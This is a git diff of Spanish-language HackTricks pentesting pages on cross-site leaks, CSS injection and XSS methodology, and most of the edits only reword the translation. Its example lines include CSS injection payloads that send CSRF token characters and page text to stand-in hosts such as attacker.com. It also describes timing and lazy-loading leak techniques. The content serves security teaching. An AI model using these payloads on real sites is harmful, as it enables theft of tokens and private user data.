- **HTMLImageElement**: Este elemento filtra la `altura` y `ancho` de una imagen. Sin embargo, si una imagen es inválida, estas propiedades devolverán 0, y la función `image.decode()` será rechazada, indicando la falla en cargar la imagen correctamente. [Lee más sobre HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
|
||||
- **HTMLImageElement**: Este elemento filtra la `altura` y `ancho` de una imagen. Sin embargo, si una imagen es inválida, estas propiedades devolverán 0, y la función `image.decode()` será rechazada, indicando el fallo en cargar la imagen correctamente. [Lee más sobre HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
|
||||
|
||||
### Propiedad CSS
|
||||
|
||||
@ -699,7 +699,7 @@ La filtración de información a través de elementos HTML es una preocupación
|
||||
- **Resumen:** Identificar variaciones en el estilo del sitio web que correlacionen con el estado o estatus del usuario.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
|
||||
|
||||
Las aplicaciones web pueden cambiar el **estilo del sitio web dependiendo del estado del usuario**. Los archivos CSS de origen cruzado pueden ser incrustados en la página del atacante con el **elemento de enlace HTML**, y las **reglas** serán **aplicadas** a la página del atacante. Si una página cambia dinámicamente estas reglas, un atacante puede **detectar** estas **diferencias** dependiendo del estado del usuario.\
|
||||
Las aplicaciones web pueden cambiar el **estilo del sitio web dependiendo del estado del usuario**. Los archivos CSS de origen cruzado pueden ser incrustados en la página del atacante con el **elemento de enlace HTML**, y las **reglas** se aplicarán a la página del atacante. Si una página cambia dinámicamente estas reglas, un atacante puede **detectar** estas **diferencias** dependiendo del estado del usuario.\
|
||||
Como técnica de filtración, el atacante puede usar el método `window.getComputedStyle` para **leer propiedades CSS** de un elemento HTML específico. Como resultado, un atacante puede leer propiedades CSS arbitrarias si se conoce el elemento afectado y el nombre de la propiedad.
|
||||
|
||||
### Historial CSS
|
||||
@ -725,7 +725,7 @@ Para más detalles sobre estas propiedades y métodos, visita sus páginas de do
|
||||
- `getComputedStyle()`: [Documentación MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
|
||||
- `mix-blend-mode`: [Documentación MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
|
||||
|
||||
### Filtración de X-Frame de ContentDocument
|
||||
### Filtración X-Frame de ContentDocument
|
||||
|
||||
- **Métodos de Inclusión**: Marcos
|
||||
- **Diferencia Detectable**: Encabezados
|
||||
@ -733,7 +733,7 @@ Para más detalles sobre estas propiedades y métodos, visita sus páginas de do
|
||||
- **Resumen:** En Google Chrome, se muestra una página de error dedicada cuando una página es bloqueada de ser incrustada en un sitio de origen cruzado debido a restricciones de X-Frame-Options.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
|
||||
|
||||
En Chrome, si una página con el encabezado `X-Frame-Options` configurado en "deny" o "same-origin" es incrustada como un objeto, aparece una página de error. Chrome devuelve de manera única un objeto de documento vacío (en lugar de `null`) para la propiedad `contentDocument` de este objeto, a diferencia de los iframes o otros navegadores. Los atacantes podrían explotar esto detectando el documento vacío, revelando potencialmente información sobre el estado del usuario, especialmente si los desarrolladores establecen de manera inconsistente el encabezado X-Frame-Options, a menudo pasando por alto las páginas de error. La conciencia y la aplicación consistente de encabezados de seguridad son cruciales para prevenir tales filtraciones.
|
||||
En Chrome, si una página con el encabezado `X-Frame-Options` configurado en "deny" o "same-origin" es incrustada como un objeto, aparece una página de error. Chrome devuelve de manera única un objeto de documento vacío (en lugar de `null`) para la propiedad `contentDocument` de este objeto, a diferencia de los iframes o de otros navegadores. Los atacantes podrían explotar esto detectando el documento vacío, revelando potencialmente información sobre el estado del usuario, especialmente si los desarrolladores establecen de manera inconsistente el encabezado X-Frame-Options, a menudo pasando por alto las páginas de error. La conciencia y la aplicación consistente de encabezados de seguridad son cruciales para prevenir tales filtraciones.
|
||||
|
||||
### Detección de Descargas
|
||||
|
||||
@ -743,7 +743,7 @@ En Chrome, si una página con el encabezado `X-Frame-Options` configurado en "de
|
||||
- **Resumen:** Un atacante puede discernir descargas de archivos aprovechando iframes; la accesibilidad continua del iframe implica una descarga de archivo exitosa.
|
||||
- **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
|
||||
|
||||
El encabezado `Content-Disposition`, específicamente `Content-Disposition: attachment`, instruye al navegador a descargar contenido en lugar de mostrarlo en línea. Este comportamiento puede ser explotado para detectar si un usuario tiene acceso a una página que desencadena una descarga de archivo. En navegadores basados en Chromium, hay algunas técnicas para detectar este comportamiento de descarga:
|
||||
El encabezado `Content-Disposition`, específicamente `Content-Disposition: attachment`, instruye al navegador a descargar contenido en lugar de mostrarlo en línea. Este comportamiento puede ser explotado para detectar si un usuario tiene acceso a una página que desencadena una descarga de archivo. En los navegadores basados en Chromium, hay algunas técnicas para detectar este comportamiento de descarga:
|
||||
|
||||
1. **Monitoreo de la Barra de Descargas**:
|
||||
- Cuando se descarga un archivo en navegadores basados en Chromium, aparece una barra de descarga en la parte inferior de la ventana del navegador.
|
||||
@ -766,17 +766,17 @@ En escenarios donde solo los usuarios autenticados pueden desencadenar tales des
|
||||
- **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (de [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
||||
|
||||
> [!WARNING]
|
||||
> Esta es la razón por la que esta técnica es interesante: Chrome ahora tiene **particionamiento de caché**, y la clave de caché de la página recién abierta es: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, pero si abro una página ngrok y uso fetch en ella, la clave de caché será: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, la **clave de caché es diferente**, por lo que la caché no puede ser compartida. Puedes encontrar más detalles aquí: [Ganar seguridad y privacidad mediante la partición de la caché](https://developer.chrome.com/blog/http-cache-partitioning/)\
|
||||
> Esta es la razón por la que esta técnica es interesante: Chrome ahora tiene **particionamiento de caché**, y la clave de caché de la nueva página abierta es: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, pero si abro una página ngrok y uso fetch en ella, la clave de caché será: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, la **clave de caché es diferente**, por lo que la caché no puede ser compartida. Puedes encontrar más detalles aquí: [Ganar seguridad y privacidad mediante el particionamiento de la caché](https://developer.chrome.com/blog/http-cache-partitioning/)\
|
||||
> (Comentario de [**aquí**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
||||
|
||||
Si un sitio `example.com` incluye un recurso de `*.example.com/resource`, entonces ese recurso tendrá la **misma clave de caché** que si el recurso fuera **solicitado a través de navegación de nivel superior**. Eso se debe a que la clave de caché consiste en el _eTLD+1_ de nivel superior y el _eTLD+1_ de marco.
|
||||
Si un sitio `example.com` incluye un recurso de `*.example.com/resource`, entonces ese recurso tendrá la **misma clave de caché** que si el recurso fuera **solicitado a través de una navegación de nivel superior**. Eso se debe a que la clave de caché consiste en el _eTLD+1_ de nivel superior y el _eTLD+1_ de marco.
|
||||
|
||||
Debido a que acceder a la caché es más rápido que cargar un recurso, es posible intentar cambiar la ubicación de una página y cancelarla 20 ms (por ejemplo) después. Si el origen fue cambiado después de la detención, significa que el recurso fue almacenado en caché.\
|
||||
O simplemente podría **enviar algún fetch a la página potencialmente almacenada en caché y medir el tiempo que toma**.
|
||||
Debido a que acceder a la caché es más rápido que cargar un recurso, es posible intentar cambiar la ubicación de una página y cancelarla 20 ms (por ejemplo) después. Si el origen se cambió después de la detención, significa que el recurso fue almacenado en caché.\
|
||||
O simplemente **enviar algunas solicitudes fetch a la página potencialmente almacenada en caché y medir el tiempo que toma**.
|
||||
|
||||
### Redirección Manual <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
||||
|
||||
- **Métodos de Inclusión**: Fetch API
|
||||
- **Métodos de Inclusión**: API Fetch
|
||||
- **Diferencia Detectable**: Redirecciones
|
||||
- **Más info**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
|
||||
- **Resumen:** Es posible averiguar si una respuesta a una solicitud fetch es una redirección
|
||||
@ -786,7 +786,7 @@ O simplemente podría **enviar algún fetch a la página potencialmente almacena
|
||||
|
||||
### Fetch con AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
||||
|
||||
- **Métodos de Inclusión**: Fetch API
|
||||
- **Métodos de Inclusión**: API Fetch
|
||||
- **Diferencia Detectable**: Tiempos
|
||||
- **Más info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
||||
- **Resumen:** Es posible intentar cargar un recurso y antes de que se cargue, la carga se interrumpe. Dependiendo de si se activa un error, el recurso fue o no almacenado en caché.
|
||||
@ -819,10 +819,10 @@ Al llegar la solicitud iniciada en el paso anterior, el **service worker** respo
|
||||
|
||||
### Tiempo de Fetch
|
||||
|
||||
- **Métodos de Inclusión**: Fetch API
|
||||
- **Métodos de Inclusión**: API Fetch
|
||||
- **Diferencia Detectable**: Tiempos (generalmente debido al Contenido de la Página, Código de Estado)
|
||||
- **Más info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
||||
- **Resumen:** Usa [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) para medir el tiempo que toma realizar una solicitud. Se pueden usar otros relojes.
|
||||
- **Resumen:** Usa [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) para medir el tiempo que toma realizar una solicitud. Se podrían usar otros relojes.
|
||||
- **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
||||
|
||||
### Tiempo entre Ventanas
|
||||
@ -830,7 +830,7 @@ Al llegar la solicitud iniciada en el paso anterior, el **service worker** respo
|
||||
- **Métodos de Inclusión**: Pop-ups
|
||||
- **Diferencia Detectable**: Tiempos (generalmente debido al Contenido de la Página, Código de Estado)
|
||||
- **Más info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
||||
- **Resumen:** Usa [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) para medir el tiempo que toma realizar una solicitud usando `window.open`. Se pueden usar otros relojes.
|
||||
- **Resumen:** Usa [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) para medir el tiempo que toma realizar una solicitud usando `window.open`. Se podrían usar otros relojes.
|
||||
- **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
||||
|
||||
|
||||
@ -853,7 +853,7 @@ Sin embargo, si por cualquier razón **DEBES** hacerlo **carácter por carácter
|
||||
```html
|
||||
<img src=/something loading=lazy >
|
||||
```
|
||||
Por lo tanto, lo que puedes hacer es **agregar muchos caracteres basura** (por ejemplo, **miles de "W"s**) para **llenar la página web antes del secreto o agregar algo como** `<br><canvas height="1850px"></canvas><br>.`\
|
||||
Por lo tanto, lo que puedes hacer es **agregar muchos caracteres basura** (por ejemplo, **miles de "W"**) para **llenar la página web antes del secreto o agregar algo como** `<br><canvas height="1850px"></canvas><br>.`\
|
||||
Luego, si por ejemplo nuestra **inyección aparece antes de la bandera**, la **imagen** se **cargaría**, pero si aparece **después** de la **bandera**, la bandera + la basura **impedirán que se cargue** (tendrás que jugar con cuánta basura colocar). Esto es lo que sucedió en [**este informe**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
|
||||
|
||||
Otra opción sería usar el **scroll-to-text-fragment** si se permite:
|
||||
@ -864,7 +864,7 @@ Sin embargo, haces que el **bot acceda a la página** con algo como
|
||||
```
|
||||
#:~:text=SECR
|
||||
```
|
||||
Así que la página web será algo como: **`https://victim.com/post.html#:~:text=SECR`**
|
||||
La página web será algo como: **`https://victim.com/post.html#:~:text=SECR`**
|
||||
|
||||
Donde post.html contiene los caracteres basura del atacante y una imagen de carga perezosa, y luego se añade el secreto del bot.
|
||||
|
||||
@ -874,7 +874,7 @@ Un ejemplo de código para explotar esto: [https://gist.github.com/jorgectf/993d
|
||||
|
||||
### Carga Perezosa de Imágenes Basada en Tiempo
|
||||
|
||||
Si **no es posible cargar una imagen externa** que podría indicar al atacante que la imagen fue cargada, otra opción sería intentar **adivinar el carácter varias veces y medir eso**. Si la imagen se carga, todas las solicitudes tardarían más que si la imagen no se carga. Esto es lo que se utilizó en la [**solución de este informe**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **resumido aquí:**
|
||||
Si **no es posible cargar una imagen externa** que podría indicar al atacante que la imagen se ha cargado, otra opción sería intentar **adivinar el carácter varias veces y medir eso**. Si la imagen se carga, todas las solicitudes tardarían más que si la imagen no se carga. Esto es lo que se utilizó en la [**solución de este informe**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **resumido aquí:**
|
||||
|
||||
{{#ref}}
|
||||
event-loop-blocking-+-lazy-images.md
|
||||
@ -886,7 +886,7 @@ event-loop-blocking-+-lazy-images.md
|
||||
../regular-expression-denial-of-service-redos.md
|
||||
{{#endref}}
|
||||
|
||||
### CSS ReDoS
|
||||
### ReDoS de CSS
|
||||
|
||||
Si se utiliza `jQuery(location.hash)`, es posible averiguar a través del tiempo **si existe algún contenido HTML**, esto se debe a que si el selector `main[id='site-main']` no coincide, no necesita verificar el resto de los **selectores**:
|
||||
```javascript
|
||||
|
||||
@ -1,12 +1,12 @@
|
||||
# Inyección de CSS
|
||||
# CSS Injection
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Inyección de CSS
|
||||
## CSS Injection
|
||||
|
||||
### Selector de Atributo
|
||||
|
||||
Los selectores de CSS están diseñados para coincidir con los valores de los atributos `name` y `value` de un elemento `input`. Si el atributo de valor del elemento de entrada comienza con un carácter específico, se carga un recurso externo predefinido:
|
||||
Los selectores CSS están diseñados para coincidir con los valores de los atributos `name` y `value` de un elemento `input`. Si el atributo de valor del elemento de entrada comienza con un carácter específico, se carga un recurso externo predefinido:
|
||||
```css
|
||||
input[name="csrf"][value^="a"] {
|
||||
background-image: url(https://attacker.com/exfil/a);
|
||||
@ -23,7 +23,7 @@ Sin embargo, este enfoque enfrenta una limitación al tratar con elementos de en
|
||||
|
||||
#### Bypass para Elementos Ocultos
|
||||
|
||||
Para eludir esta limitación, puedes dirigirte a un elemento hermano posterior utilizando el combinador de hermanos generales `~`. La regla CSS se aplica entonces a todos los hermanos que siguen al elemento de entrada oculto, haciendo que la imagen de fondo se cargue:
|
||||
Para eludir esta limitación, puedes dirigirte a un elemento hermano posterior utilizando el combinador de hermanos generales `~`. La regla CSS se aplica entonces a todos los hermanos que siguen al elemento de entrada oculto, lo que provoca que la imagen de fondo se cargue:
|
||||
```css
|
||||
input[name="csrf"][value^="csrF"] ~ * {
|
||||
background-image: url(https://attacker.com/exfil/csrF);
|
||||
@ -36,8 +36,8 @@ Un ejemplo práctico de explotación de esta técnica se detalla en el fragmento
|
||||
Para que la técnica de inyección de CSS sea efectiva, deben cumplirse ciertas condiciones:
|
||||
|
||||
1. **Longitud de la carga útil**: El vector de inyección de CSS debe soportar cargas útiles suficientemente largas para acomodar los selectores elaborados.
|
||||
2. **Reevaluación de CSS**: Debes tener la capacidad de enmarcar la página, lo cual es necesario para activar la reevaluación de CSS con cargas útiles recién generadas.
|
||||
3. **Recursos externos**: La técnica asume la capacidad de usar imágenes alojadas externamente. Esto podría estar restringido por la Política de Seguridad de Contenido (CSP) del sitio.
|
||||
2. **Reevaluación de CSS**: Debes tener la capacidad de enmarcar la página, lo cual es necesario para activar la reevaluación de CSS con cargas útiles generadas recientemente.
|
||||
3. **Recursos externos**: La técnica asume la capacidad de usar imágenes alojadas externamente. Esto podría estar restringido por la Política de Seguridad de Contenidos (CSP) del sitio.
|
||||
|
||||
### Selector de atributo ciego
|
||||
|
||||
@ -56,7 +56,7 @@ Combinando esto con la siguiente técnica de **@import**, es posible exfiltrar m
|
||||
|
||||
### @import
|
||||
|
||||
La técnica anterior tiene algunas desventajas, revisa los requisitos previos. Necesitas poder **enviar múltiples enlaces a la víctima**, o necesitas poder **iframe la página vulnerable a la inyección CSS**.
|
||||
La técnica anterior tiene algunas desventajas, consulta los requisitos previos. Necesitas poder **enviar múltiples enlaces a la víctima**, o necesitas poder **iframe la página vulnerable a la inyección CSS**.
|
||||
|
||||
Sin embargo, hay otra técnica ingeniosa que utiliza **CSS `@import`** para mejorar la calidad de la técnica.
|
||||
|
||||
@ -76,13 +76,13 @@ En lugar de cargar la misma página una y otra vez con decenas de diferentes car
|
||||
|
||||
El atacante **seguirá ese bucle hasta que logre filtrar completamente el secreto**.
|
||||
|
||||
Puedes encontrar el [**código original de Pepe Vila para explotar esto aquí**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) o puedes encontrar casi el [**mismo código pero comentado aquí**.](./#css-injection)
|
||||
Puedes encontrar el [**código original de Pepe Vila para explotar esto aquí**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) o puedes encontrar casi el [**mismo código pero comentado aquí**.](#css-injection)
|
||||
|
||||
> [!NOTE]
|
||||
> El script intentará descubrir 2 caracteres cada vez (desde el principio y desde el final) porque el selector de atributos permite hacer cosas como:
|
||||
>
|
||||
> ```css
|
||||
> /* value^= para coincidir con el comienzo del valor*/
|
||||
> /* value^= para coincidir con el principio del valor*/
|
||||
> input[value^="0"] {
|
||||
> --s0: url(http://localhost:5001/leak?pre=0);
|
||||
> }
|
||||
@ -104,7 +104,7 @@ Puedes encontrar el [**código original de Pepe Vila para explotar esto aquí**]
|
||||
Otras formas de acceder a partes del DOM con **selectores CSS**:
|
||||
|
||||
- **`.class-to-search:nth-child(2)`**: Esto buscará el segundo elemento con la clase "class-to-search" en el DOM.
|
||||
- **`:empty`** selector: Usado por ejemplo en [**este informe**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
||||
- Selector **`:empty`**: Usado por ejemplo en [**este informe**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
||||
|
||||
```css
|
||||
[role^="img"][aria-label="1"]:empty {
|
||||
@ -112,9 +112,9 @@ background-image: url("YOUR_SERVER_URL?1");
|
||||
}
|
||||
```
|
||||
|
||||
### XS-Search basado en errores
|
||||
### Búsqueda XS basada en errores
|
||||
|
||||
**Referencia:** [Ataque basado en CSS: Abusando de unicode-range de @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [PoC de XS-Search basado en errores por @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
**Referencia:** [Ataque basado en CSS: Abusando de unicode-range de @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [PoC de Búsqueda XS basada en errores por @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
|
||||
La intención general es **usar una fuente personalizada de un endpoint controlado** y asegurarse de que **el texto (en este caso, 'A') se muestre con esta fuente solo si el recurso especificado (`favicon.ico`) no se puede cargar**.
|
||||
```html
|
||||
@ -138,7 +138,7 @@ font-family: "poc";
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
1. **Uso de Fuente Personalizada**:
|
||||
1. **Uso de Fuentes Personalizadas**:
|
||||
|
||||
- Se define una fuente personalizada utilizando la regla `@font-face` dentro de una etiqueta `<style>` en la sección `<head>`.
|
||||
- La fuente se llama `poc` y se obtiene de un endpoint externo (`http://attacker.com/?leak`).
|
||||
@ -148,19 +148,19 @@ font-family: "poc";
|
||||
- Se crea un elemento `<object>` con `id="poc0"` en la sección `<body>`. Este elemento intenta cargar un recurso desde `http://192.168.0.1/favicon.ico`.
|
||||
- La `font-family` para este elemento se establece en `'poc'`, como se define en la sección `<style>`.
|
||||
- Si el recurso (`favicon.ico`) no se carga, el contenido de respaldo (la letra 'A') dentro de la etiqueta `<object>` se muestra.
|
||||
- El contenido de respaldo ('A') se renderizará utilizando la fuente personalizada `poc` si el recurso externo no se puede cargar.
|
||||
- El contenido de respaldo ('A') se renderizará utilizando la fuente personalizada `poc` si no se puede cargar el recurso externo.
|
||||
|
||||
### Estilizando Fragmento de Texto para Desplazamiento
|
||||
### Estilizando Fragmentos de Texto de Desplazamiento
|
||||
|
||||
La **`:target`** pseudo-clase se emplea para seleccionar un elemento dirigido por un **fragmento de URL**, como se especifica en la [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Es crucial entender que `::target-text` no coincide con ningún elemento a menos que el texto sea explícitamente dirigido por el fragmento.
|
||||
La **`:target`** pseudo-clase se emplea para seleccionar un elemento dirigido por un **fragmento de URL**, como se especifica en la [especificación de Selectores CSS Nivel 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Es crucial entender que `::target-text` no coincide con ningún elemento a menos que el texto sea explícitamente dirigido por el fragmento.
|
||||
|
||||
Surge una preocupación de seguridad cuando los atacantes explotan la característica de **Scroll-to-text**, lo que les permite confirmar la presencia de texto específico en una página web al cargar un recurso desde su servidor a través de inyección HTML. El método implica inyectar una regla CSS como esta:
|
||||
Surge una preocupación de seguridad cuando los atacantes explotan la característica de **Fragmento de Desplazamiento de Texto**, lo que les permite confirmar la presencia de texto específico en una página web al cargar un recurso desde su servidor a través de inyección HTML. El método implica inyectar una regla CSS como esta:
|
||||
```css
|
||||
:target::before {
|
||||
content: url(target.png);
|
||||
}
|
||||
```
|
||||
En tales escenarios, si el texto "Administrator" está presente en la página, el recurso `target.png` se solicita al servidor, indicando la presencia del texto. Una instancia de este ataque se puede ejecutar a través de una URL especialmente diseñada que incrusta el CSS inyectado junto con un fragmento Scroll-to-text:
|
||||
En tales escenarios, si el texto "Administrator" está presente en la página, el recurso `target.png` se solicita al servidor, indicando la presencia del texto. Un ejemplo de este ataque se puede ejecutar a través de una URL especialmente diseñada que incrusta el CSS inyectado junto con un fragmento Scroll-to-text:
|
||||
```
|
||||
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
||||
```
|
||||
@ -169,8 +169,8 @@ Aquí, el ataque manipula la inyección de HTML para transmitir el código CSS,
|
||||
Para la mitigación, se deben tener en cuenta los siguientes puntos:
|
||||
|
||||
1. **Coincidencia STTF Constrainida**: El Fragmento Scroll-to-text (STTF) está diseñado para coincidir solo con palabras o frases, limitando así su capacidad para filtrar secretos o tokens arbitrarios.
|
||||
2. **Restricción a Contextos de Navegación de Nivel Superior**: El STTF opera únicamente en contextos de navegación de nivel superior y no funciona dentro de iframes, haciendo que cualquier intento de explotación sea más notable para el usuario.
|
||||
3. **Necesidad de Activación del Usuario**: El STTF requiere un gesto de activación del usuario para operar, lo que significa que las explotaciones son viables solo a través de navegaciones iniciadas por el usuario. Este requisito mitiga considerablemente el riesgo de que los ataques sean automatizados sin interacción del usuario. Sin embargo, el autor de la publicación del blog señala condiciones específicas y bypass (por ejemplo, ingeniería social, interacción con extensiones de navegador prevalentes) que podrían facilitar la automatización del ataque.
|
||||
2. **Restricción a Contextos de Navegación de Nivel Superior**: El STTF opera únicamente en contextos de navegación de nivel superior y no funciona dentro de iframes, lo que hace que cualquier intento de explotación sea más notable para el usuario.
|
||||
3. **Necesidad de Activación del Usuario**: El STTF requiere un gesto de activación del usuario para operar, lo que significa que las explotaciones son viables solo a través de navegaciones iniciadas por el usuario. Este requisito mitiga considerablemente el riesgo de que los ataques sean automatizados sin interacción del usuario. Sin embargo, el autor de la publicación del blog señala condiciones específicas y bypasses (por ejemplo, ingeniería social, interacción con extensiones de navegador prevalentes) que podrían facilitar la automatización del ataque.
|
||||
|
||||
La conciencia de estos mecanismos y vulnerabilidades potenciales es clave para mantener la seguridad web y protegerse contra tácticas explotadoras.
|
||||
|
||||
@ -251,7 +251,7 @@ background: url(http://attacker.com/?leak);
|
||||
|
||||
### Exfiltración de nodos de texto (II): filtrando el charset con una fuente predeterminada (sin requerir activos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Referencia:** [PoC usando Comic Sans por @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
**Referencia:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
|
||||
Este truco fue publicado en este [**hilo de Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). El charset utilizado en un nodo de texto puede ser filtrado **usando las fuentes predeterminadas** instaladas en el navegador: no se necesitan fuentes externas -o personalizadas-.
|
||||
|
||||
@ -706,13 +706,13 @@ div::-webkit-scrollbar:vertical {
|
||||
background: blue var(--leak);
|
||||
}
|
||||
```
|
||||
### Exfiltración de nodos de texto (III): filtrando el charset con una fuente predeterminada al ocultar elementos (sin requerir activos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Exfiltración de nodos de texto (III): filtrando el conjunto de caracteres con una fuente predeterminada al ocultar elementos (sin requerir activos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Referencia:** Esto se menciona como [una solución fallida en este informe](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
Este caso es muy similar al anterior, sin embargo, en este caso el objetivo de hacer que **caracteres específicos sean más grandes que otros es ocultar algo** como un botón para que no sea presionado por el bot o una imagen que no se cargará. Así que podríamos medir la acción (o la falta de acción) y saber si un carácter específico está presente dentro del texto.
|
||||
|
||||
### Exfiltración de nodos de texto (III): filtrando el charset por temporización de caché (sin requerir activos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Exfiltración de nodos de texto (III): filtrando el conjunto de caracteres por temporización de caché (sin requerir activos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Referencia:** Esto se menciona como [una solución fallida en este informe](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
@ -726,7 +726,7 @@ unicode-range: U+0041;
|
||||
```
|
||||
Si hay una coincidencia, la **fuente se cargará desde `/static/bootstrap.min.css?q=1`**. Aunque no se cargará con éxito, el **navegador debería almacenarla en caché**, y incluso si no hay caché, hay un mecanismo de **304 no modificado**, por lo que la **respuesta debería ser más rápida** que otras cosas.
|
||||
|
||||
Sin embargo, si la diferencia de tiempo de la respuesta en caché con respecto a la que no está en caché no es lo suficientemente grande, esto no será útil. Por ejemplo, el autor mencionó: Sin embargo, después de probar, descubrí que el primer problema es que la velocidad no es muy diferente, y el segundo problema es que el bot utiliza la bandera `disk-cache-size=1`, lo cual es realmente considerado.
|
||||
Sin embargo, si la diferencia de tiempo de la respuesta en caché con respecto a la no en caché no es lo suficientemente grande, esto no será útil. Por ejemplo, el autor mencionó: Sin embargo, después de probar, descubrí que el primer problema es que la velocidad no es muy diferente, y el segundo problema es que el bot utiliza la bandera `disk-cache-size=1`, lo cual es realmente considerado.
|
||||
|
||||
### Exfiltración de nodos de texto (III): filtrando el charset al cargar cientos de "fuentes" locales (sin requerir activos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
|
||||
@ -2,9 +2,9 @@
|
||||
|
||||
## Metodología
|
||||
|
||||
1. Verifica si **cualquier valor que controlas** (_parámetros_, _ruta_, _encabezados_?, _cookies_?) está siendo **reflejado** en el HTML o **usado** por código **JS**.
|
||||
2. **Encuentra el contexto** donde se refleja/se usa.
|
||||
3. Si está **reflejado**
|
||||
1. Verifica si **cualquier valor que controlas** (_parámetros_, _ruta_, _encabezados_?, _cookies_?) está siendo **reflejado** en el HTML o **utilizado** por código **JS**.
|
||||
2. **Encuentra el contexto** donde se refleja/utiliza.
|
||||
3. Si es **reflejado**
|
||||
